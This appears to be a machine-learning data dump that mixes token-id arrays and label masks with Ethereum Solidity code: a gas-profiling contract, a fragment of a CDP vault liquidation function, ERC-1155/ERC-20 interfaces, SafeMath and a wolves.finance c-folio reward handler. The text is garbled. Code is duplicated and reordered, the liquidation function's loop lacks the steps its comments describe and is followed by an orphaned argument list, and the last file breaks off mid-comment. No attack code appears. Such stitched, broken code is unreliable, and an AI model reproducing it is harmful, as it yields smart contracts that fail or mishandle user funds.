0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
8297,
1345,
3098,
1435,
7010,
3639,
1071,
5024,
3849,
1476,
7010,
3639,
1135,
261,
1080,
3778,
13,
7010,
565,
288,
203,
3639,
327,
389,
1969,
1345,
3098,
31,
203,
565,
289,
203,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract GasProfiler {
// keccak256 hash of "gas.profiler.base"
// prettier-ignore
bytes32 private constant GAS_BASE = 0x37698e52cd5639897dae03c485a7870bceb6876f0e950fc063664398d5580c0c;
event DeltaGas(bytes32 tag, int256 gas);
event GetGas(bytes32 tag, uint256 gas);
constructor() public {
_setBase();
}
function _setBase() internal {
bytes32 slot = GAS_BASE;
assembly {
sstore(slot, sub(gas(), 5005))
}
}
function _getBase() internal view returns (uint256 base) {
bytes32 slot = GAS_BASE;
assembly {
base := sub(sload(slot), 203)
}
}
function _deltaGas(bytes32 tag) internal {
emit DeltaGas(tag, int256(_getBase()) - int256(gasleft()));
_setBase();
}
function _getGas(bytes32 tag) internal {
emit GetGas(tag, _getBase());
_setBase();
}
}
| keccak256 hash of "gas.profiler.base" prettier-ignore | contract GasProfiler {
bytes32 private constant GAS_BASE = 0x37698e52cd5639897dae03c485a7870bceb6876f0e950fc063664398d5580c0c;
event DeltaGas(bytes32 tag, int256 gas);
event GetGas(bytes32 tag, uint256 gas);
pragma solidity ^0.6.0;
constructor() public {
_setBase();
}
function _setBase() internal {
bytes32 slot = GAS_BASE;
assembly {
sstore(slot, sub(gas(), 5005))
}
}
function _setBase() internal {
bytes32 slot = GAS_BASE;
assembly {
sstore(slot, sub(gas(), 5005))
}
}
function _getBase() internal view returns (uint256 base) {
bytes32 slot = GAS_BASE;
assembly {
base := sub(sload(slot), 203)
}
}
function _getBase() internal view returns (uint256 base) {
bytes32 slot = GAS_BASE;
assembly {
base := sub(sload(slot), 203)
}
}
function _deltaGas(bytes32 tag) internal {
emit DeltaGas(tag, int256(_getBase()) - int256(gasleft()));
_setBase();
}
function _getGas(bytes32 tag) internal {
emit GetGas(tag, _getBase());
_setBase();
}
}
| 13,030,763 | [
1,
79,
24410,
581,
5034,
1651,
434,
315,
31604,
18,
23097,
18,
1969,
6,
675,
748,
2453,
17,
6185,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
16351,
31849,
22060,
288,
203,
565,
1731,
1578,
3238,
5381,
611,
3033,
67,
8369,
273,
374,
92,
6418,
8148,
28,
73,
9401,
4315,
4313,
5520,
6675,
27,
2414,
73,
4630,
71,
24,
7140,
69,
8285,
7301,
70,
311,
70,
9470,
6669,
74,
20,
73,
29,
3361,
7142,
20,
4449,
26,
1105,
5520,
28,
72,
2539,
3672,
71,
20,
71,
31,
203,
203,
565,
871,
17799,
27998,
12,
3890,
1578,
1047,
16,
509,
5034,
16189,
1769,
203,
565,
871,
968,
27998,
12,
3890,
1578,
1047,
16,
2254,
5034,
16189,
1769,
203,
203,
683,
9454,
18035,
560,
3602,
20,
18,
26,
18,
20,
31,
203,
565,
3885,
1435,
1071,
288,
203,
3639,
389,
542,
2171,
5621,
203,
565,
289,
203,
203,
565,
445,
389,
542,
2171,
1435,
2713,
288,
203,
3639,
1731,
1578,
4694,
273,
611,
3033,
67,
8369,
31,
203,
3639,
19931,
288,
203,
5411,
272,
2233,
12,
14194,
16,
720,
12,
31604,
9334,
6604,
25,
3719,
203,
3639,
289,
203,
565,
289,
203,
203,
565,
445,
389,
542,
2171,
1435,
2713,
288,
203,
3639,
1731,
1578,
4694,
273,
611,
3033,
67,
8369,
31,
203,
3639,
19931,
288,
203,
5411,
272,
2233,
12,
14194,
16,
720,
12,
31604,
9334,
6604,
25,
3719,
203,
3639,
289,
203,
565,
289,
203,
203,
565,
445,
389,
588,
2171,
1435,
2713,
1476,
1135,
261,
11890,
5034,
1026,
13,
288,
203,
3639,
1731,
1578,
4694,
273,
611,
3033,
67,
8369,
31,
203,
3639,
19931,
288,
203,
5411,
1026,
519,
720,
12,
87,
945,
12,
14194,
3631,
4200,
23,
13,
203,
2
]
|
./partial_match/5/0xA109b34B1974C1f6BA554607F46E202926728E14/sources/src/CDPVault_TypeA.sol | @notice Liquidates multiple unsafe positions by selling as much collateral as required to cover the debt in order to make the positions safe again. The collateral can be bought at a discount (`liquidationDiscount`) to the current spot price. The liquidator has to provide the amount he wants repay or sell (`repayAmounts`) for each position. From that repay amount a penalty (`liquidationPenalty`) is subtracted to mitigate against profitable self liquidations. If the available collateral of a position is not sufficient to cover the debt the vault is able to apply for a bail out from the global Buffer, any residual bad debt not covered by the Buffer will be attributed to the credit delegators. @dev The liquidator has to approve the vault to transfer the sum of `repayAmounts`. @param owners Owners of the positions to liquidate @param repayAmounts Amounts the liquidator wants to repay for each position [wad] accrues bad debt in all liquidated positions calculate position debt and collateral value verify that the position is indeed unsafe calculate the max. amount of debt we can recover with the position's collateral in order to move the health factor back to the target health factor account any residual debt as bad debt if the position does not have any collateral left try absorbing any accrued bad debt by applying for a bail out and mark down the residual bad debt apply for a bail out from the Buffer | function liquidatePositions(address[] calldata owners, uint256[] memory repayAmounts) external whenNotPaused {
if (owners.length != repayAmounts.length) revert CDPVault__liquidatePositions_argLengthMismatch();
GlobalIRS memory globalIRS = getGlobalIRS();
VaultConfig memory vaultConfig_ = vaultConfig;
LiquidationConfig memory liquidationConfig_ = liquidationConfig;
uint256 spotPrice_ = spotPrice();
ExchangeCache memory cache;
cache.globalIRS = globalIRS;
cache.totalNormalDebt = totalNormalDebt;
cache.debtFloor = vaultConfig.debtFloor;
cache.settlementRate = wmul(spotPrice_, liquidationConfig.liquidationDiscount);
cache.settlementPenalty = liquidationConfig.liquidationPenalty;
uint64 rateAccumulator = _calculateRateAccumulator(globalIRS, cache.totalNormalDebt);
uint256 accruedBadDebt;
for (uint256 i; i < owners.length; ) {
address owner = owners[i];
if (!(owner == address(0) || repayAmounts[i] == 0)) {
Position memory position = positions[owner];
PositionIRS memory positionIRS = _getUpdatedPositionIRS(owner, position.normalDebt, rateAccumulator);
uint256 debt = calculateDebt(position.normalDebt, rateAccumulator, positionIRS.accruedRebate);
if (spotPrice_ == 0 || _isCollateralized(
debt, position.collateral, spotPrice_, vaultConfig_.liquidationRatio
)) revert CDPVault__liquidatePosition_notUnsafe();
uint256 maxDebtToRecover;
{
uint256 nominator;
{
uint256 collateralValue = wdiv(wmul(position.collateral, spotPrice_), vaultConfig_.liquidationRatio);
nominator = wmul(liquidationConfig_.targetHealthFactor, debt) - collateralValue;
}
uint256 discountRatio = wmul(vaultConfig_.liquidationRatio, liquidationConfig_.liquidationDiscount);
uint256 denominator = wmul(liquidationConfig_.targetHealthFactor, cache.settlementPenalty)
- wdiv(WAD, discountRatio);
maxDebtToRecover = wdiv(nominator, denominator);
}
if (position.collateral == 0 && position.normalDebt > 0) {
accruedBadDebt += calculateDebt(
position.normalDebt, positionIRS.snapshotRateAccumulator, positionIRS.accruedRebate
);
delete positions[owner];
}
}
}
cache.globalIRS,
cache.accruedInterest + wmul(cache.creditExchanged, WAD - cache.settlementPenalty),
cache.totalNormalDebt,
spotPrice_,
vaultConfig_.globalLiquidationRatio
);
if (accruedBadDebt != 0) {
buffer.bailOut(accruedBadDebt);
}
}
| 16,850,723 | [
1,
48,
18988,
350,
815,
3229,
7127,
6865,
635,
357,
2456,
487,
9816,
4508,
2045,
287,
487,
1931,
358,
5590,
326,
18202,
88,
316,
1353,
358,
1221,
326,
6865,
4183,
3382,
18,
1021,
4508,
2045,
287,
848,
506,
800,
9540,
622,
279,
12137,
21863,
549,
26595,
367,
9866,
24065,
358,
326,
783,
16463,
6205,
18,
1021,
4501,
26595,
639,
711,
358,
5615,
326,
3844,
3904,
14805,
2071,
528,
578,
357,
80,
21863,
266,
10239,
6275,
87,
24065,
364,
1517,
1754,
18,
6338,
716,
2071,
528,
3844,
279,
23862,
21863,
549,
26595,
367,
24251,
15006,
24065,
353,
10418,
329,
358,
20310,
360,
340,
5314,
450,
7216,
429,
365,
4501,
26595,
1012,
18,
971,
326,
2319,
4508,
2045,
287,
434,
279,
1754,
353,
486,
18662,
358,
5590,
326,
18202,
88,
326,
9229,
353,
7752,
358,
2230,
364,
279,
18422,
596,
628,
326,
2552,
3525,
16,
1281,
20690,
5570,
18202,
88,
486,
2
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
| [
1,
565,
445,
4501,
26595,
340,
11024,
12,
2867,
8526,
745,
892,
25937,
16,
2254,
5034,
8526,
3778,
2071,
528,
6275,
87,
13,
3903,
1347,
1248,
28590,
288,
203,
3639,
309,
261,
995,
414,
18,
2469,
480,
2071,
528,
6275,
87,
18,
2469,
13,
15226,
385,
8640,
12003,
972,
549,
26595,
340,
11024,
67,
3175,
1782,
16901,
5621,
203,
203,
3639,
8510,
7937,
55,
3778,
2552,
7937,
55,
273,
20591,
7937,
55,
5621,
203,
3639,
17329,
809,
3778,
9229,
809,
67,
273,
9229,
809,
31,
203,
3639,
511,
18988,
350,
367,
809,
3778,
4501,
26595,
367,
809,
67,
273,
4501,
26595,
367,
809,
31,
203,
3639,
2254,
5034,
16463,
5147,
67,
273,
16463,
5147,
5621,
203,
203,
3639,
18903,
1649,
3778,
1247,
31,
203,
3639,
1247,
18,
6347,
7937,
55,
273,
2552,
7937,
55,
31,
203,
3639,
1247,
18,
4963,
5506,
758,
23602,
273,
2078,
5506,
758,
23602,
31,
203,
3639,
1247,
18,
323,
23602,
42,
5807,
273,
9229,
809,
18,
323,
23602,
42,
5807,
31,
203,
3639,
1247,
18,
542,
88,
806,
4727,
273,
341,
16411,
12,
19032,
5147,
67,
16,
4501,
26595,
367,
809,
18,
549,
26595,
367,
9866,
1769,
203,
3639,
1247,
18,
542,
88,
806,
24251,
15006,
273,
4501,
26595,
367,
809,
18,
549,
26595,
367,
24251,
15006,
31,
203,
203,
3639,
2254,
1105,
4993,
27361,
273,
389,
11162,
4727,
27361,
12,
6347,
7937,
55,
16,
1247,
18,
4963,
5506,
758,
23602,
1769,
203,
203,
3639,
2254,
5034,
4078,
86,
5957,
6434,
758,
23602,
31,
203,
203,
3639,
364,
261,
11890,
2
]
|
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// SPDX-License-Identifier: Apache-2.0
pragma solidity 0.7.4;
interface IERC1155 {
/****************************************|
| Events |
|_______________________________________*/
/**
* @dev Either TransferSingle or TransferBatch MUST emit when tokens are transferred, including zero amount transfers as well as minting or burning
* Operator MUST be msg.sender
* When minting/creating tokens, the `_from` field MUST be set to `0x0`
* When burning/destroying tokens, the `_to` field MUST be set to `0x0`
* The total amount transferred from address 0x0 minus the total amount transferred to 0x0 may be used by clients and exchanges to be added to the "circulating supply" for a given token ID
* To broadcast the existence of a token ID with no initial balance, the contract SHOULD emit the TransferSingle event from `0x0` to `0x0`, with the token creator as `_operator`, and a `_amount` of 0
*/
event TransferSingle(
address indexed _operator,
address indexed _from,
address indexed _to,
uint256 _id,
uint256 _amount
);
/**
* @dev Either TransferSingle or TransferBatch MUST emit when tokens are transferred, including zero amount transfers as well as minting or burning
* Operator MUST be msg.sender
* When minting/creating tokens, the `_from` field MUST be set to `0x0`
* When burning/destroying tokens, the `_to` field MUST be set to `0x0`
* The total amount transferred from address 0x0 minus the total amount transferred to 0x0 may be used by clients and exchanges to be added to the "circulating supply" for a given token ID
* To broadcast the existence of multiple token IDs with no initial balance, this SHOULD emit the TransferBatch event from `0x0` to `0x0`, with the token creator as `_operator`, and a `_amount` of 0
*/
event TransferBatch(
address indexed _operator,
address indexed _from,
address indexed _to,
uint256[] _ids,
uint256[] _amounts
);
/**
* @dev MUST emit when an approval is updated
*/
event ApprovalForAll(
address indexed _owner,
address indexed _operator,
bool _approved
);
/****************************************|
| Functions |
|_______________________________________*/
/**
* @notice Transfers amount of an _id from the _from address to the _to address specified
* @dev MUST emit TransferSingle event on success
* Caller must be approved to manage the _from account's tokens (see isApprovedForAll)
* MUST throw if `_to` is the zero address
* MUST throw if balance of sender for token `_id` is lower than the `_amount` sent
* MUST throw on any other error
* When transfer is complete, this function MUST check if `_to` is a smart contract (code size > 0). If so, it MUST call `onERC1155Received` on `_to` and revert if the return amount is not `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))`
* @param _from Source address
* @param _to Target address
* @param _id ID of the token type
* @param _amount Transfered amount
* @param _data Additional data with no specified format, sent in call to `_to`
*/
function safeTransferFrom(
address _from,
address _to,
uint256 _id,
uint256 _amount,
bytes calldata _data
) external;
/**
* @notice Send multiple types of Tokens from the _from address to the _to address (with safety call)
* @dev MUST emit TransferBatch event on success
* Caller must be approved to manage the _from account's tokens (see isApprovedForAll)
* MUST throw if `_to` is the zero address
* MUST throw if length of `_ids` is not the same as length of `_amounts`
* MUST throw if any of the balance of sender for token `_ids` is lower than the respective `_amounts` sent
* MUST throw on any other error
* When transfer is complete, this function MUST check if `_to` is a smart contract (code size > 0). If so, it MUST call `onERC1155BatchReceived` on `_to` and revert if the return amount is not `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))`
* Transfers and events MUST occur in the array order they were submitted (_ids[0] before _ids[1], etc)
* @param _from Source addresses
* @param _to Target addresses
* @param _ids IDs of each token type
* @param _amounts Transfer amounts per token type
* @param _data Additional data with no specified format, sent in call to `_to`
*/
function safeBatchTransferFrom(
address _from,
address _to,
uint256[] calldata _ids,
uint256[] calldata _amounts,
bytes calldata _data
) external;
/**
* @notice Get the balance of an account's Tokens
* @param _owner The address of the token holder
* @param _id ID of the Token
* @return The _owner's balance of the Token type requested
*/
function balanceOf(address _owner, uint256 _id)
external
view
returns (uint256);
/**
* @notice Get the balance of multiple account/token pairs
* @param _owners The addresses of the token holders
* @param _ids ID of the Tokens
* @return The _owner's balance of the Token types requested (i.e. balance for each (owner, id) pair)
*/
function balanceOfBatch(address[] calldata _owners, uint256[] calldata _ids)
external
view
returns (uint256[] memory);
/**
* @notice Enable or disable approval for a third party ("operator") to manage all of caller's tokens
* @dev MUST emit the ApprovalForAll event on success
* @param _operator Address to add to the set of authorized operators
* @param _approved True if the operator is approved, false to revoke approval
*/
function setApprovalForAll(address _operator, bool _approved) external;
/**
* @notice Queries the approval status of an operator for a given owner
* @param _owner The owner of the Tokens
* @param _operator Address of authorized operator
* @return isOperator True if the operator is approved, false if not
*/
function isApprovedForAll(address _owner, address _operator)
external
view
returns (bool isOperator);
}
// SPDX-License-Identifier: Apache-2.0
pragma solidity 0.7.4;
/**
* @dev ERC-1155 interface for accepting safe transfers.
*/
interface IERC1155TokenReceiver {
/**
* @notice Handle the receipt of a single ERC1155 token type
* @dev An ERC1155-compliant smart contract MUST call this function on the token recipient contract, at the end of a `safeTransferFrom` after the balance has been updated
* This function MAY throw to revert and reject the transfer
* Return of other amount than the magic value MUST result in the transaction being reverted
* Note: The token contract address is always the message sender
* @param _operator The address which called the `safeTransferFrom` function
* @param _from The address which previously owned the token
* @param _id The id of the token being transferred
* @param _amount The amount of tokens being transferred
* @param _data Additional data with no specified format
* @return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))`
*/
function onERC1155Received(
address _operator,
address _from,
uint256 _id,
uint256 _amount,
bytes calldata _data
) external returns (bytes4);
/**
* @notice Handle the receipt of multiple ERC1155 token types
* @dev An ERC1155-compliant smart contract MUST call this function on the token recipient contract, at the end of a `safeBatchTransferFrom` after the balances have been updated
* This function MAY throw to revert and reject the transfer
* Return of other amount than the magic value WILL result in the transaction being reverted
* Note: The token contract address is always the message sender
* @param _operator The address which called the `safeBatchTransferFrom` function
* @param _from The address which previously owned the token
* @param _ids An array containing ids of each token being transferred
* @param _amounts An array containing amounts of each token being transferred
* @param _data Additional data with no specified format
* @return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))`
*/
function onERC1155BatchReceived(
address _operator,
address _from,
uint256[] calldata _ids,
uint256[] calldata _amounts,
bytes calldata _data
) external returns (bytes4);
}
// SPDX-License-Identifier: Apache-2.0
pragma solidity 0.7.4;
/**
* @title ERC20 interface
* @dev see https://eips.ethereum.org/EIPS/eip-20
*/
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender)
external
view
returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: Apache-2.0
pragma solidity 0.7.4;
/**
* @title SafeMath
* @dev Unsigned math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two unsigned integers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, 'SafeMath#mul: OVERFLOW');
return c;
}
/**
* @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, 'SafeMath#div: DIVISION_BY_ZERO');
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, 'SafeMath#sub: UNDERFLOW');
uint256 c = a - b;
return c;
}
/**
* @dev Adds two unsigned integers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, 'SafeMath#add: OVERFLOW');
return c;
}
/**
* @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, 'SafeMath#mod: DIVISION_BY_ZERO');
return a % b;
}
}
/*
* Copyright (C) 2021 The Wolfpack
* This file is part of wolves.finance - https://github.com/wolvesofwallstreet/wolves.finance
*
* SPDX-License-Identifier: Apache-2.0
* See LICENSE.txt for more information.
*/
pragma solidity >=0.7.0 <0.8.0;
import '@openzeppelin/contracts/utils/Context.sol';
import '../../0xerc1155/interfaces/IERC1155.sol';
import '../../0xerc1155/interfaces/IERC20.sol';
import '../../0xerc1155/interfaces/IERC1155TokenReceiver.sol';
import '../../0xerc1155/utils/SafeMath.sol';
import './interfaces/ICFolioItemHandler.sol';
import './interfaces/ISFTEvaluator.sol';
import '../investment/interfaces/ICFolioFarm.sol'; // Wolves rewards
import '../token/interfaces/IWOWSERC1155.sol'; // SFT contract
import '../token/interfaces/IWOWSCryptofolio.sol';
import '../utils/AddressBook.sol';
import '../utils/interfaces/IAddressRegistry.sol';
import '../utils/TokenIds.sol';
/**
* @dev CFolioItemHandlerLP manages CFolioItems, minted in the SFT contract.
*
* Minting CFolioItem SFTs is implemented in the WOWSSFTMinter contract, which
* mints the SFT in the WowsERC1155 contract and calls setupCFolio in here.
*
* Normaly CFolioItem SFTs are locked in the main TradeFloor contract to allow
* trading or transfer into a Base SFT card's c-folio.
*
* CFolioItem SFTs only earn rewards if they are inside the cfolio of a base
* NFT. We get called from main TradeFloor every time an CFolioItem gets
* transfered and calculate the new rewardable LP amount based on the reward %
* of the base NFT.
*/
contract CFolioItemHandlerLP is ICFolioItemHandler, Context {
using SafeMath for uint256;
using TokenIds for uint256;
//////////////////////////////////////////////////////////////////////////////
// Routing
//////////////////////////////////////////////////////////////////////////////
// Route to SFT Minter. Only setup from SFT Minter allowed.
address public sftMinter;
// The TradeFloor contract which provides c-folio NFTs. This TradeFloor
// contract calls the IMinterCallback interface functions.
address public immutable tradeFloor;
// The token staked here (WOWS/WETH UniV2 Pair)
IERC20 public immutable stakingToken;
// SFT evaluator
ISFTEvaluator public immutable sftEvaluator;
// Reward emitter
ICFolioFarmOwnable public immutable cfolioFarm;
// Admin
address public immutable admin;
// The SFT contract needed to check if the address is a c-folio
IWOWSERC1155 private immutable sftHolder;
//////////////////////////////////////////////////////////////////////////////
// Events
//////////////////////////////////////////////////////////////////////////////
/*
* @dev Emitted when a reward is updated, either increased or decreased
*
* @param previousAmount The amount before updating the reward
* @param newAmount The amount after updating the reward
*/
event LPRewardUpdated(uint256 previousAmount, uint256 newAmount);
/**
* @dev Emitted when a new minter is set by the admin
*
* @param minter The new minter
*/
event NewLPMinter(address minter);
/**
* @dev Emitted when the contract is upgraded
*
* @param thisContract The address of this contract
* @param newContract The address of the contract being upgraded to
*/
event LPContractUpgraded(address thisContract, address newContract);
//////////////////////////////////////////////////////////////////////////////
// Modifiers
//////////////////////////////////////////////////////////////////////////////
modifier onlyTradeFloor {
require(_msgSender() == address(tradeFloor), 'TFCLP: only TF');
_;
}
//////////////////////////////////////////////////////////////////////////////
// Initialization
//////////////////////////////////////////////////////////////////////////////
/**
* @dev Constructs the CFolioItemHandlerLP
*
* We gather all current addresses from address registry into immutable vars.
* If one of the relevant addresses changes, the contract has to be updated.
* There is little state here, user state is completely handled in CFolioFarm.
*/
constructor(IAddressRegistry addressRegistry) {
// TradeFloor
tradeFloor = addressRegistry.getRegistryEntry(
AddressBook.TRADE_FLOOR_PROXY
);
// Admin
admin = addressRegistry.getRegistryEntry(AddressBook.MARKETING_WALLET);
// The SFT holder
sftHolder = IWOWSERC1155(
addressRegistry.getRegistryEntry(AddressBook.SFT_HOLDER)
);
// The SFT minter
sftMinter = addressRegistry.getRegistryEntry(AddressBook.SFT_MINTER);
emit NewLPMinter(sftMinter);
// SFT evaluator
sftEvaluator = ISFTEvaluator(
addressRegistry.getRegistryEntry(AddressBook.SFT_EVALUATOR_PROXY)
);
// The ERC-20 token we stake
stakingToken = IERC20(
addressRegistry.getRegistryEntry(AddressBook.UNISWAP_V2_PAIR)
);
// WOWS reward farm
cfolioFarm = ICFolioFarmOwnable(
addressRegistry.getRegistryEntry(AddressBook.WOLVES_REWARDS)
);
}
//////////////////////////////////////////////////////////////////////////////
// Implementation of {ICFolioItemCallback} via {ICFolioItemHandler}
//////////////////////////////////////////////////////////////////////////////
/**
* @dev See {ICFolioItemCallback-onCFolioItemsTransferedFrom}
*/
function onCFolioItemsTransferedFrom(
address from,
address to,
uint256[] calldata, /* tokenIds*/
address[] calldata /* cfolioHandlers*/
) external override onlyTradeFloor {
// In case of transfer verify the target
uint256 sftTokenId;
if (
to != address(0) &&
(sftTokenId = sftHolder.addressToTokenId(to)) != uint256(-1)
) {
(, uint8 level) = sftHolder.getTokenData(sftTokenId);
require((LEVEL2WOLF & (uint256(1) << level)) > 0, 'CFIH: Wolves only');
_updateRewards(to, sftEvaluator.rewardRate(sftTokenId));
}
if (
from != address(0) &&
(sftTokenId = sftHolder.addressToTokenId(from)) != uint256(-1)
) _updateRewards(from, sftEvaluator.rewardRate(sftTokenId));
}
/**
* @dev See {ICFolioItemCallback-appendHash}
*/
function appendHash(address cfolioItem, bytes calldata current)
external
view
override
returns (bytes memory)
{
return
abi.encodePacked(
current,
address(this),
cfolioFarm.balanceOf(cfolioItem)
);
}
/**
* @dev See {ICFolioItemCallback-uri}
*/
function uri(
uint256 /* tokenId*/
) external pure override returns (string memory) {
return '';
}
//////////////////////////////////////////////////////////////////////////////
// Implementation of {ICFolioItemHandler}
//////////////////////////////////////////////////////////////////////////////
/**
* @dev See {ICFolioItemHandler-sftUpgrade}
*/
function sftUpgrade(uint256 tokenId, uint32 newRate) external override {
// Validate access
require(_msgSender() == address(sftEvaluator), 'CFIH: Invalid caller');
require(tokenId.isBaseCard(), 'CFIH: Invalid token');
// CFolio address
address cfolio = sftHolder.tokenIdToAddress(tokenId);
// Update state
_updateRewards(cfolio, newRate);
}
/**
* @dev See {ICFolioItemHandler-setupCFolio}
*
